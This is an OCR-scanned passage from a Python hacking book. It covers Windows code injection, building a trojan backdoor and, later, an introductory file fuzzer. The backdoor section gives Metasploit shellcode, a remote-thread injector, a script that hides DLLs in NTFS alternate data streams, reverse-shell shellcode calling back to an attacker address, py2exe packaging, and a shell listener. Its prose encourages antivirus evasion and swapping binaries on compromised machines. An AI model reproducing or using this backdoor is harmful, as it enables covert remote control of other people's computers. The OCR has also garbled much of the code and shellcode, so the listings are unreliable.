"\xac\x84\xc0\x74\x07\xcl\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04"
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\xlc\x01\xeb"
"\x8b\xlc\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30"
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\xlc\xad\x8b\x68\x08\xeb\x09"
"\x 8 b\x 8 O\xbO\xOO\xOO\xOO\x 8 b\x 68 \x 3 c\x 5 f\x 3 i\xf 6 \x 6 O\x 56 \x 89 \xf 8 "
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff "
"\xe7\x74\x6l\x73\x6b\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x4l"
"\x41\x41\x41\x41\x41\x41\x41\x00";
Listing 7- 1 : Process-killing shellcode generated from the Metasploit project website
When I generated the shellcode, I also cleared the oxoo byte value from
the Restricted Characters text box and made sure that the Selected Encoder
was set to Default Encoder. The reason for this is shown in the last two lines
of the shellcode, where you see the value \x4i eight times. Why is the capital
letter A being repeated? Simple. We need to be able to dynamically specify
a PID that needs to be killed, and so we are able to replace the repeated A
character block with the PID to be killed and pad the rest of the buffer
with NULL values. If we had used an encoder, then those A values would be
encoded, and our life would be miserable trying to do a string replacement.
This way, we can adapt the shellcode on the fly.
DLL and Code Injection 101
Now that we have our shellcode, it’s time to get back to the code and
demonstrate how code injection works. Open a new Python file, name it
code_injectorpy, and enter the following code.
codeinjector.py
import sys
from ctypes import *
# We set the EXECUTE access mask so that our shellcode will
# execute in the memory block we have allocated
PAGE_EXECUTE_READWRITE = 0x00000040
PR0CESS_ALL_ACCESS = ( 0X000F0000 | 0x00100000 | OxFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
kernel32
pid
pid_to_kill
= windll.kernel32
= int(sys.argv[l] )
= sys.argv[2]
if not sys.argv[l] or not sys.argv[2]:
print "Code Injector: ,/code_injector.py < PID to inject> < PID to Kill>"
sys. exit (o)
#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA
#Size=l59 Encoder=None http://metasploit.com */
shellcode = \
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \
"\x4f\xl8\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \
"\xac\x84\xc0\x74\x07\xcl\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\xlc\x01\xeb" \
"\x8b\xlc\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\xlc\xad\x8b\x68\x08\xeb\x09" \
"\x8b\x8O\xbO\xOO\xOO\xOO\x8b\x68\x3c\x5f\x3i\xf6\x6O\x56\x89\xf8" \
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff " \
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x6l\x73\x6b" \
"\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00"
O padding = 4 - (len( pid_to_kill ))
replace_value = pid_to_kill + ( "\x00" * padding )
replace_string= "\x4l" * 4
shellcode = shellcode. replace( replace_string, replace_value )
code_size = len(shellcode)
# Get a handle to the process we are injecting into.
h_process = kernel32.0penProcess( PROCESS_ALL_ACCESS, False, int(pid) )
if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid
1 02 Chapter 7
sys.exit(o)
# Allocate some space for the shellcode
arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size,
VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)
# Write out the shellcode
written = c_int(o)
kernel32.WriteProcessMemory(h_process, arg_address, shellcode,
code_size, byref (written))
# Now we create the remote thread and point its entry routine
# to be head of our shellcode
thread_id = c_ulong(o)
© if not kernel32.CreateRemoteThread(h_process, None, 0,arg_address, None,
0, byref (thread_id)) :
print "[*] Failed to inject process-killing shellcode. Exiting."
sys.exit(o)
print "[*] Remote thread created with a thread ID of: 0x%08x" %
thread_id. value
print "[*] Process %s should not be running anymore!" % pid_to_kill
Some of the code above will look quite familiar, but there are some
interesting tricks here. The first is to do a string replacement on the shellcode
O so that we swap our marker string with the PID we wish to terminate. The
other notable difference is in the way we do our CreateRemoteThreadQ call ©,
which now points to the IpStartAddress parameter at the beginning of our
shellcode. We also set IpParameter to NULL because we aren’t passing in a
parameter to a function; rather, we just want the thread to begin executing
the shellcode.
Take the script for a spin by starting up a couple of cmd.exe processes,
obtain their respective PIDs, and pass them in as command-line arguments,
like so:
,/code_injector.py < PID to inject> <PID to kill>
Run the script with the approriate command-line arguments, and
you should see a successful thread created (it will return the thread ID).
You should also observe that the cmd.exe process you selected to kill will no
longer be around.
You now know how to load and execute shellcode directly from another
process. This is handy not only when migrating your callback shells but also
when hiding your tracks, because you won’t have any code on disk. We are
now going to combine some of what you’ve learned by creating a reusable
backdoor that can give us remote access to a target machine anytime it is run.
Let’s get evil, shall we?
DLL and Code Injection 103
7.2 Getting Evil
Now let’s put some of our injection skills to bad use. We will create a devious
little backdoor that can be used to gain control of a system any time an execut-
able of our choosing gets run. When our executable gets run, we will perform
execution redirection by spawning the original executable that the user
wanted (for instance, we’ll name our binary calc.exe and move the original
calc.exe to a known location). When the second process loads, we code inject
it to give us a shell connection to the target machine. After the shellcode has
run and we have our shell connection, we inject a second piece of code into
the remote process that kills the process we are currently running inside.
Wait a second! Couldn’t we just let our calc.exe pro cess exit? In short, yes.
But process termination is a key technique for a backdoor to support. For
example, you could combine some process-iteration code that you learned
in earlier chapters and apply it to try to find antivirus or software firewalls
running and simply kill them. It is also important so that you can migrate
from one process to another and kill the process you left behind if you don’t
need it anymore.
We will also be showing how to compile Python scripts into real stand-
alone Windows executables and how to covertly ship DLLs within the
primary executable. Let’s see how to apply a little stealth to create some
stowaway DLLs.
7.2. 1 File Hiding
In order for us to safely distribute an injectable DLL with our backdoor, we
need a stealthy way of storing the file as to not attract too much attention.
We could use a wrapper, which takes two executables (including DLLs) and
wraps them together as one, but this is a book about hacking with Python, so
we have to get a bit more creative.
To hide files inside executables, we are going to abuse a legacy feature of
the NTFS filesystem called alternate data streams (ADS). Alternate data streams
have been around since Windows NT 3.1 and were introduced as a means to
communicate with the Apple heirarchical file system (HFS). ADS enables us
to have a single file on disk and store the DLL in a stream that is attached to
the primary executable. A stream is really nothing more than a hidden file
that is attached to the file that you can see on disk.
By using an alternate data stream, we are hiding the DLL from the user’s
immediate view. Without specialized tools, a computer user can’t see the
contents of ADSs, which is ideal for us. In addition, a number of security
products don’t properly scan alternate data streams, so we have a good chance
of slipping underneath their radar to avoid detection.
To use an alternate data stream on a file, we’ll need to do nothing more
than append a colon and a filename to an existing file, like so:
reverser.exe: vncdll.dll
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Chapter 7
In this case we are accessing vncdll.dll, which is stored in an alternate
data stream attached to reverser.exe. Let’s write a quick utility script that simply
reads in a file and writes it out to an ADS attached to a file of our choosing.
Open an additional Python script called file_hideepy and enter the following
code.
filehider.py
import sys
# Read in the DLL
fd = open( sys.argv[l], "rb" )
dll_contents = fd.readQ
fd.closeQ
print "[*] Filesize: %d" % len( dll_contents )
# Now write it out to the ADS
fd = open( "%s:%s" % ( sys.argv[2], sys.argv[l] ), "wb" )
fd.write( dll_contents )
fd.close()
Nothing fancy — the first command-line argument is the DLL we wish to
read in, and the second argument is the target file whose ADS we will be
storing the DLL in. We can use this little utility to store any kind of files we
would like alongside the executable, and we can inject DLLs directly out of
the ADS as well. Although we won’t be utilizing DLL injection for our back-
door, it will still support it, so read on.
7.2.2 Coding the Backdoor
Let’s start by building our execution redirection code, which very simply starts
up an application of our choosing. The reason it’s called execution redirection is
because we will name our backdoor calc.exe and move the original calc.exe to
a different location. When the user attempts to use the calculator, she will
be inadvertently running our backdoor, which in turn will start the proper
calculator and thus not alert the user that anything is amiss. Note that we are
including the my_debugger_defines.py file from Chapter 3, which contains all of
the necessary constants and structs in order to do the process creation. Open
a new Python file, name it backdoor.py, and enter the following code.
backdoor.py
# This library is from Chapter 3 and contains all
# the necessary defines for process creation
import sys
from ctypes import *
from my_debugger_defines import *
kernel32 = windll.kernel32
DLL and Code Injection 105
PAGE_EXECUTE_READWRITE = 0x00000040
PROCESS_ALL_ACCESS = ( OxOOOFOOOO | 0x00100000 | OxFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
# This is the original i
path_to_exe
startupinfo
process_information
creation_flags
startupinfo . dwFlags
startupinfo.wShowWindow
startupinfo. cb
executable
= "C:\\calc.exe"
= STARTUPINFOQ
= PROCESS_INFORMATION()
= CREATE_NEW_CONSOLE
= Oxl
I = 0x0
= sizeof (startupinfo)
# First things first, fire up that second process
# and store its PID so that we can do our injection
kernel32 . CreateProcessA(path_to_exe,
None,
None,
None,
None,
creation_flags.
None,
None,
byref (startupinfo) ,
byref (process_informat ion))
pid = process_information.dwProcessId
Not too complicated, and there is no new code in there. Before we move
into the DLL injection code, we are going to explore how we can hide the
DLL itself before using it for the injection. Let’s add our injection code to
the backdoor; just tack it on right after the process-creation section. Our
injection function will also be able to handle code or DLL injection; simply
set the parameter flag to 1 , and the data variable will then contain the path
to the DLL. We aren’t going for clean here; we’re going for quick and dirty.
Let’s add the injection capabilities to our backdoor.py file.
backdoor.py
def inject( pid, data, parameter = 0 ):
# Get a handle to the process we are injecting into.
h_process = kernel32.0penProcess( PR0CESS_ALL_ACCESS, False, int(pid) )
if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(o)
1 06 Chapter 7
arg_address = kernel32.VirtualAllocEx(h_process, 0, len(data),
VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)
written = c_int(o)
kernel32.WriteProcessMemory(h_process, arg_address, data,
len(data), byref (written))
thread_id = c_ulong(o)
if not parameter:
start_address = arg_address
else:
h_kernel32 = kernel32. GetM 0 duleHandleACkernel 32 .dll")
start_address = kernel32. Get ProcAddress(h_kernel32," Load LibraryA")
parameter = arg_address
if not kernel32.CreateRemoteThread(h_process,None,
0, start_address, parameter, 0, byref (thread_id)) :
print "[*] Failed to inject the DLL. Exiting."
sys.exit(o)
return True
We now have a supported injection function that can handle both code
and DLL injection. Now it’s time to inject two separate pieces of shellcode
into the real calc.exe process, one to give us the reverse shell and one to kill
our deviant process. Let’s continue adding code to our backdoor.
backdoor.py
# Now we have to climb out of the process we are in
# and code inject our new process to kill ourselves
#/* win32_reverse - EXITFUNC=thread LH0ST=192. 168. 244.1 LP0RT=4444
Size=287 Encoder=None http://metasploit.com */
connect_back_shellcode =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" \
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\xl8\x8b\x5f\x20\x01\xeb\x49" \
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xcl\xca\x0d" \
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" \
"\x8b\x0c\x4b\x8b\x5f\xlc\x01\xeb\x03\x2c\x8b\x89\x6c\x24\xlc\x6l" \
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\xlc\xad\x8b\x40" \
"\x08\x5e\x68\x8e\x4e\xOe\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" \
"\x68\x77\x73\x32\x5f\x54\xff\xdO\x68\xcb\xed\xfc\x3b\x50\xff\xd6" \
"\x5f\x89\xe5\x66\x8l\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" \
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xdO\x68" \
"\xcO\xa8\xf4\x01\x66\x68\xll\x5c\x66\x53\x89\xel\x95\x68\xec\xf9" \
"\xaa\x60\x57\xff\xd6\x6a\xlO\x51\x55\xff\xdO\x66\x6a\x64\x66\x68" \
"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xcO\xf3" \
"\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" \
"\x68\x72\xfe\xb3\xl6\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x5l" \
"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6" \
DLL and Code Injection 107
"\x6a\xff\xff\x37\xff\xdO\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6" \
"\xf-f\x77\x-fc\xff\xd0\x68\xe-f\xce\xe0\x60\x5B\x-f-f\xd6\x-f-f\xd0"
inject( pid, connect_back_shellcode )
#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA
#Size=l59 Encoder=None http://metasploit.com */
our_pid = str( kernel32.GetCurrentProcessId() )
process_killer_shellcode = \
"\x-fc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xe-f\x8b" \
"\x4f\xl8\x8b\x5-f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \
"\xac\x84\xc0\x74\x07\xcl\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \
"\x75\xe5\x8b\x5-f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5-f\xlc\x01\xeb" \
"\x8b\xlc\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\xlc\xad\x8b\x68\x08\xeb\x09" \
"\x8b\x8O\xbO\xOO\xOO\xOO\x8b\x68\x3c\x5f\x3i\xf6\x6O\x56\x89\xf8" \
"\x83\xc0\x7b\x50\x68\xe-f\xce\xe0\x60\x68\x98\x-fe\x8a\x0e\x57\xff" \
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x6l\x73\x6b" \
"\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00"
padding = 4 - ( len( our_pid ) )
replace_value = our_pid + ( "\x00" * padding )
replace_string= "\x4l" * 4
process_killer_shellcode
process_killer_shellcode.replace( replace_string, replace_value )
# Pop the process killing shellcode in
inject( our_pid, process_killer_shellcode )
All right! We pass in the process ID of our backdoor process and inject
the shellcode into the process we spawned (the second calc.exe, the one with
buttons and numbers on it) , which then kills our backdoor. We now have a
fairly comprehensive backdoor that utilizes some stealth, and better yet, we
get access to the target machine every time someone runs the application we
are interested in. An approach you can use in the field is if you have com-
promised a user’s system and the user has access to propriety or password-
protected software, you can swap out the binaries. Any time the user launches
the process and logs in, you are given a shell where you can start monitoring
keystrokes, sniffing packets, or whatever you choose. We have one small thing
to take care of: How are we going to guarantee that the remote user has
Python installed so we can run our backdoor? We don’t! Read on to learn
the magic of a Python library called py2exe, which will take our Python code
and turn it into a real Windows executable.
7.2.3 Compiling with py2exe
A handy Python library called py2exe z allows you to compile a Python script
into a full-fledged Windows executable. You must use py2exe on a Windows
machine, so keep this in mind as we proceed through the following steps.
2 For the py2exe download, go to http://sourceforge.net/proj{’ct/sh<m)files.php?group_id=15583.
108
Chapter 7
Once you run the py2exe installer, you are ready to use it inside a build script.
In order to compile our backdoor, we create a simple setup script that defines
how we want the executable to be built. Open a new file, name it setup. py,
and enter the following lines.
setup.py
# Backdoor builder
from distutils.core import setup
import py2exe
setup(console=[ 'backdoor. py' ],
options = {'py2exe' :{'bundle_files' :l}},
zipfile = None,
)
Yep, it’s that simple. Let’s look at the parameters we have passed to the
setup function. The first parameter, console, is the name of the primary script
we are compiling. The options and zipfile parameters are set to bundle the
Python DLL and all other dependent modules into the primary executable.
This makes our backdoor very portable in that we can move it onto a system
without Python installed, and it will work just fine. Just make sure that my
_debugger_defines.py, backdoor.py, and setup.py are in the same directory. Switch
to your Windows command interface, and run the build script like so:
python setup.py py2exe
You will see a bunch of output from the compilation process, and when
it’s finished you will have two new directories, distancl build. Inside the dist
folder your executable backdoor.exe will be waiting to be deployed. Rename it
calc.exe and copy it onto the target system. Copy the original calc.exe out of
C:\WINDOWS\system32\ and into the C:\folder. Move our backdoor calc.exe
into C:\WINDOWS\system32\. Now all we need is a means to use the shell
that’s going to be sent back to us, so let’s whip up a simple interface to send
commands and receive their output. Crack open a new Python file, name it
backdoor_shell.py, and enter the following code.
backdoorshell.py
import socket
import sys
host = "192.168.244.1"
port = 4444
server = socket. socket( socket. AF_INET, socket. SOCK_STREAM )
server. bind( ( host, port ) )
server. listen( 5 )
print "[*] Server bound to %s:%d" % ( host , port )
DLL and Code Injection 109
connected = False
while l:
#accept connections from outside
if not connected:
(client, address) = server. accept ()
connected = True
print "[*] Accepted Shell Connection"
buffer = ""
while 1:
try:
recv_buffer = client. recv(4096)
print "[*] Received: %s" % recv_buffer
if not len(recv_buffer) :
break
else:
buffer += recv_buffer
except:
break
# We've received everything, now it's time to send some input
command = raw_input("Enter Command> ")
client. sendall( command + "\r\n\r\n" )
print "[*] Sent => %s" % command
This is a very simple socket server that merely takes in a connection and
does basic reading and writing. Fire up the server, with the host and port
variables set for your environment. Once it’s running, take your calc.exe
onto a remote system (your local Windows box will work as well) and run it.
You should see the calculator interface pop up, and your Python shell server
should have registered a connection and received some data. In order to
break the recv loop, hit CTRL-C, and it will prompt you to enter a command.
Feel free to get creative here, but you can try things like dir, cd, and type,
which are all native Windows shell commands. For each command you enter,
you will receive its output. Now you have a means of communicating with
your backdoor that’s efficient and somewhat stealthy. Use your imagination
and expand on some of the functionality; think of stealth and antivirus
evasion. The nice thing about developing it in Python is that it’s quick, easy,
and reusable.
As you have seen in this chapter, DLL and code injection are two very
useful and very powerful techniques. You are now armed with another skill
that will come in handy during penetration tests or for reverse engineering.
Our next focus will be how to break software using Python-based fuzzers,
using both your own and some excellent open source tools. Let’s torture
some software.
no
Chapter 7
FUZZING
Fuzzing has been a hot topic for some time, mostly
because it’s one of the most effective techniques for
finding bugs in software. Fuzzing is nothing more than
creating malformed or semi-malformed data to send to
an application in an attempt to cause faults. We will discuss the different
types of fuzzers and the bug classes that represent the faults we are looking
for; then we’ll create a file fuzzer for our own use. In later chapters, we’ll
cover the Sulley fuzzing framework and a fuzzer designed to break Windows-
based drivers.
First it’s important to understand the two basic styles of fuzzers: generation
and mutation fuzzers. Generation fuzzers create the data that they are sending
to the target, whereas mutation fuzzers take pieces of existing data and alter it.
An example of a generation fuzzer is something that would create a set of
malformed HTTP requests and send them at a target web server daemon. A
mutation fuzzer could be something that uses a packet capture of HTTP
requests and mutates them before delivering them to the web server.
In order for you to understand how to create an effective fuzzer, we
must first take a quick stroll through a sampling of the different bug classes
that offer favorable conditions for exploitation. This is not going to be an
exhaustive list 1 but rather a very high-level tour through some of the common
faults present in applications today, and we’ll show you how to hit them with
your own fuzzers.
8.1 Bug Classes
When analyzing a software application for faults, a hacker or reverse engineer
is looking for particular bugs that will enable him to take control of code
execution within that application. Fuzzers can provide an automated way of
finding bugs that assist a hacker in taking control of the host system, escalating
privileges, or stealing information that the application has access to, whether
the target application operates as an independent process or as a web applica-
tion that uses a scripting language. We are going to focus on bugs that are
typically found in software that runs as an independent process on the host
operating system and are most likely to result in a successful host compromise.
8. 1. 1 Buffer Overflows
Buffer overflows are the most common type of software vulnerability. All
kinds of innocuous memory-management functions, string-manipulation
routines, and even intrinsic functionality are part of the programming
language itself and cause software to fail because of buffer overflows.
In short, a buffer overflow occurs when a quantity of data is stored in a
region of memory that is too small to hold it. A metaphor to explain this
concept would be to think of a buffer as a bucket that can hold a gallon of
water. It’s fine to pour in two drops of water or half a gallon, or even fill the
bucket to the top. But we all know what happens when you pour two gallons
of water into the bucket: water spills out onto the floor, and you have a mess
to clean up. Essentially the same thing happens in software applications;
when there is too much water (data), it spills out of the bucket (buffer) and
covers the surrounding floor (memory). When an attacker can control the
way the memory is overwritten, he is on his way to getting full code execution
and ultimately a compromise in some form or another. There are two primary
buffer overflow types: stack-based overflows and heap-based overflows. These
types behave quite differently but still produce the same result: attacker-
controlled code execution.
A stack overflow is characterized by a buffer overflow that subsequently
overwrites data on the stack, which can be used as a means to control execu-
tion flow. Code execution can be obtained from a stack overflow by the
attacker overwriting a function’s return address, changing function pointers,
altering variables, or changing the execution chain of exception handlers
within the application. Stack overflows throw access violations as soon as the
bad data is accessed; this makes them relatively easy to track down after a
fuzzing run.
1 An excellent reference book, and one you should definitely add to your bookshelf, is Mark
Dowd, John McDonald, and Justin Schuh’s The Art of Software Security Assessment: Identifying and
Preventing Software Vulnerabilities (Addison-Wesley Professional, 2006).
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A heap overflow occurs within the executing process’s heap segment,
where the application dynamically allocates memory at runtime. A heap is
composed of chunks that are tied together by metadata stored in the chunk
itself. When a heap overflow occurs, the attacker overwrites the metadata in
the chunk that’s adjacent to the region that overflowed. When this occurs, an
attacker is controlling writes to arbitrary memory locations that can include
variables, function pointers, security tokens, or any number of important
data structures that may be stored in the heap at the time of the overflow.
Heap overflows can be difficult to track down initially, and the chunks that
have been affected may not get used until sometime later in die application’s
lifetime. This delay until an access violation is triggered can pose some
challenges when you’re trying to track down a crash during a fuzzing run.
MICROSOFT GLOBAL FLAGS
Microsoft had the application developer (and exploit writer) in mind when it created
the Windows operating system. Global flags (Gflags) are a set of diagnostic and
debugging settings that enable you to track, log, and debug software at a very high
granularity. These settings can be used in Microsoft Windows 2000, XP Professional,
and Server 2003.
The feature that we are most interested in is the page heap verifier. When it is
turned on for a process, the verifier keeps track of dynamic memory operations,
including all allocations and frees. But the really nice aspect is that it causes a
debugger break the instant a heap corruption occurs, which allows you to stop on
the instruction that caused the corruption. This helps the bug hunter level the field a
bit when tracking down heap-related bugs.
To edit Gflags to enable heap verification, you can use the handy gflags.exe utility
that Microsoft provides free of charge for legitimate Windows installations. You can
download it from http://www.microsoft.com/downlocids/cletails.cispx2Familylcl
=49AE8576-9BB9-4 1 26-976 1-BA80 1 1 FABF38&displaylang=en.
Immunity has also created a Gflags library and associated PyCommand to make
Gflags changes, and it ships with Immunity Debugger. For download and documenta-
tion, visit http://debugger.immunityinc.com/.
In order to target buffer overflows from a fuzzing perspective, we simply
try to pass very large amounts of data to the target application in the hope
that it will make its way into a routine that is not correctly checking the length
before copying it around.
We will now look at integer overflows, which are another common bug
class found in software applications.
8. 1.2 Integer Overflows
Integer overflows are an interesting class of bugs that involve exploiting the
way a compiler sizes signed integers and how the processor handles arithmetic
operations on these integers. A signed integer is one that can hold a value
from -32767 to 32767 and is 2 bytes in length. An integer overflow occurs
when an attempt is made to store a value beyond this range in a signed integer.
Fuzzing
113
Since the value is too large to be stored in a 32-bit signed integer, the processor
drops the high-order bits in order to successfully store the value. At first glance
this doesn’t sound like a big deal, but let’s take a look at a contrived example
of how an integer overflow can result in allocating far too little space and
possibly resulting in a buffer overflow down the road:
MOV EAX, [ESP + 0x8]
LEA EDI, [EAX + 0x24]
PUSH EDI
CALL msvcrt.malloc
The first instruction takes a parameter off the stack [ESP + 0x8] and
loads it into EAX. The next instruction adds 0x24 to EAX and stores the result in
EDI. We then use this resulting value as the single parameter (the requested
allocation size) to the memory allocation routine malloc. This all seems fairly
inoccuous, right? Assuming that the parameter on the stack is a signed integer,
if EAX contains a very high number that’s close to the high range for a signed
integer (remember 32767) and we add 0x24 to it, the integer overflows, and
we end up with a very low positive value. Take a peek at Listing 8-1 to see how
this would play out, assuming the parameter on the stack is under our control
and we can hand it a high value of OxFFFFFFFS.
Stack Parameter => OxFFFFFFFS
Arithmetic Operation => OxFFFFFFFS + 0x24
Arithmetic Result => 0x100000019 (larger than 32 bits)
Processor Truncates => 0x00000019
Listing 8- 1 : Arithmetic operation on a signed integer under our control
If this happens, then malloc will allocate only 0 x 19 bytes, which could be
a much smaller portion of memory than what the developer intended to
allocate. If this small buffer is supposed to hold a large portion of user-
supplied input, then a buffer overflow occurs. To target integer overflows
with a fuzzer, we need to make sure we are passing both high positive numbers
and low negative values in an attempt to achieve an integer overflow, which
could lead to undesired behavior in the target application or even a full
buffer overflow condition.
Now let’s take a quick peek at format string attacks, which are another
common bug found in applications today.
8. 1.3 Format String Attacks
Format string attacks involve an attacker passing input that gets treated as
the format specifier in certain string-manipulation routines, such as the C
function printf. Let’s first examine the prototype of the printf function:
int printf( const char * format, ... );
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Chapter 8
The first parameter is the fully formatted string, which we’ll combine
with any number of additional parameters that represent the values to be
formatted. An example of this would be:
int test = 10000 ;
printf("We have written %d lines of code so far.", test);
Output:
We have written 10000 lines of code so far.
The %d is the format specifier, and if a clumsy programmer forgets to put
that format specifier in her calls to printf, then you’ll see something like this:
char* test = "%x";
printf(test);
Output:
5a88c3l88
This looks a lot different. When we pass in a format specifier to a printf
call that doesn’t have a specifier, it will parse the one we pass to it and assume
that the next value on the stack is the variable to be formatted. In this case
you are seeing Ox 5 a 88 c 3 l 88 , which is either a piece of data stored on the stack
or a pointer to data in memory. A couple of specifiers of interest are the %s
and %n specifiers. The %s specifier tells the string function to scan memory for
a string until it encounters a NULL byte signifying the end of the string. This
is useful for reading in large amounts of data to either discover what’s stored
at a particular address or to cause the application to crash by reading memory
that it is not supposed to access. The %n specifier is unique in that it enables
you to write data to memory instead of just formatting it. This enables an
attacker to overwrite the return address or a function pointer to an existing
routine, which in both cases will lead to arbitrary code execution. In terms of
fuzzing, we just need to make sure that the test cases we are generating pass
in some of these format specifiers in an attempt to exercise a misused string
function that accepts our format specifier.
Now that we have cruised through some high-level bug classes, it’s time
to begin building our first fuzzer. It will be a simple generation file fuzzer
that can generically mutate any file format. We are also going to be revisiting
our good friend PyDbg, which will control and track crashes in the target
application. Onward!
8.2 File Fuzzer
File format vulnerabilities are fast becoming the vector of choice for client-
side attacks, so naturally we should be interested in finding bugs in file format
parsers. We want to be able to generically mutate all kinds of different formats
Fuzzing
115
to get the biggest bang for our buck, whether we’re targeting antivirus pro-
ducts or document readers. We will also make sure to bundle in some debug-
ging functionality so that we can catch crash information to determine
whether we have found an exploitable condition or not. To top it off, we’ll
incorporate some emailing capabilities to notify you whenever a crash occurs
and send the crash information. This can be useful if you have a bank of
fuzzers hitting multiple targets, and you want to know when to investigate a
crash. The first step is to create the class skeleton and a simple file selector
that will take care of opening a random example file for mutation. Open a
new Python file, name it file_fuzzenp\, and enter the following code.
filefuzzer.py
from pydbg import *
from pydbg. defines import *
import utils
import random
import sys
import struct
import threading
import os
import shutil
import time
import getopt
class file_fuzzer:
def init (self, exe_
path, ext, notify):
self .exe_path
= exe_path
self .ext
= ext
self ,notify_crash
= notify
self ,orig_file
= None
self ,mutated_file
= None
self .iteration
= 0
self .exe_path
= exe_path
self ,orig_file
= None
self ,mutated_file
= None
self .iteration
= 0
self .crash
= None
self ,send_notify
= False
self .pid
= None
self. in accessv handler = False
self .dbg
= None
self .running
= False
self .ready
= False
# Optional
self .smtpserver =
'mail.nostarch.com'
self .recipients = |
| ' jms@bughunter.ca' ,
116 Chapter 8
self. sender = ' jms(®bughunter.ca'
self ,test_cases = [ "%s%n%s%n%s%n", "\xff", "\xOO", "A" ]
def file_picker( self ):
fileJList = os.listdir("examples/")
list_length = len (fileJList)
file = fileJList[random.randint(o, list_length-l)]
shutil.copy("examples\\%s" % file, "test. %s" % self. ext)
return file
The class skeleton for our file fuzzer defines some global variables for
tracking basic information about our test iterations as well as the test cases
that will be applied as mutations to the sample files. The file_picker function
simply uses some built-in functions from Python to list the files in a directory
and randomly pick one for mutation. Now we have to do some threading
work to get the target application loaded, track it for crashes, and terminate
it when the document parsing is finished. The first stage is to get the target
application loaded inside a debugger thread and install the custom access
violation handler. We then spawn the second thread to monitor the debugger
thread so that it can kill it after a reasonable amount of time. We’ll also throw
in the email notification routine. Let’s incorporate these features by creating
some new class functions.
filefuzzer.py
def fuzz( self ):
while l:
O if not self .running:
# We first snag a file for mutation
self ,test_file = self ,file_picker()
© self ,mutate_file()
# Start up the debugger thread
© pydbg_thread = threading. Thread(target=self ,start_debugger)
pydbg_thread . setDaemon (o)
pydbg_thread . start ( )
while self.pid == None:
time.sleep(l)
# Start up the monitoring thread
© monitor_thread = threading. Thread
(target=self ,monitor_debugger)
monitor_thread. setDaemon(o)
monitor_thread. startQ
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117
self. iteration += 1
else:
time.sleep(l)
# Our primary debugger thread that the application
# runs under
def start_debugger(self) :
print "[*] Starting debugger for iteration: %d" % self .iteration
self. running = True
self. dbg = pydbg()
self .dbg. set_callback(EXCEPTION_ACCESS_VIOLATION, self .check_accessv
pid = self .dbg. load(self.exe_path, "test. %s" % self. ext)
self.pid = self. dbg. pid
self .dbg. run()
# Our access violation handler that traps the crash
# information and stores it
def check_accessv(self,dbg) :
if dbg . dbg . u . Exception . dwFirstChance :
return DBG_CONTINUE
print "[*] Woot! Handling an access violation!"
self ,in_accessv_handler = True
crash_bin = utils. crash_binning.crash_binning()
crash_bin . record_crash(dbg)
self. crash = crash_bin.crash_synopsis()
# Write out the crash informations
crash_fd = open("crashes\\crash-%d" % self. iteration, "w")
crash_fd. write (self .crash)
# Now back up the files
shutil.copy("test.%s" % self .ext, "crashes\\%d.%s" %
(self .iteration, self .ext))
shutil.copy("examples\\%s" % self.test_file,"crashes\\%d_orig.%s" %
(self. iteration, self .ext))
self .dbg. terminate_process()
self ,in_accessv_handler = False
self. running = False
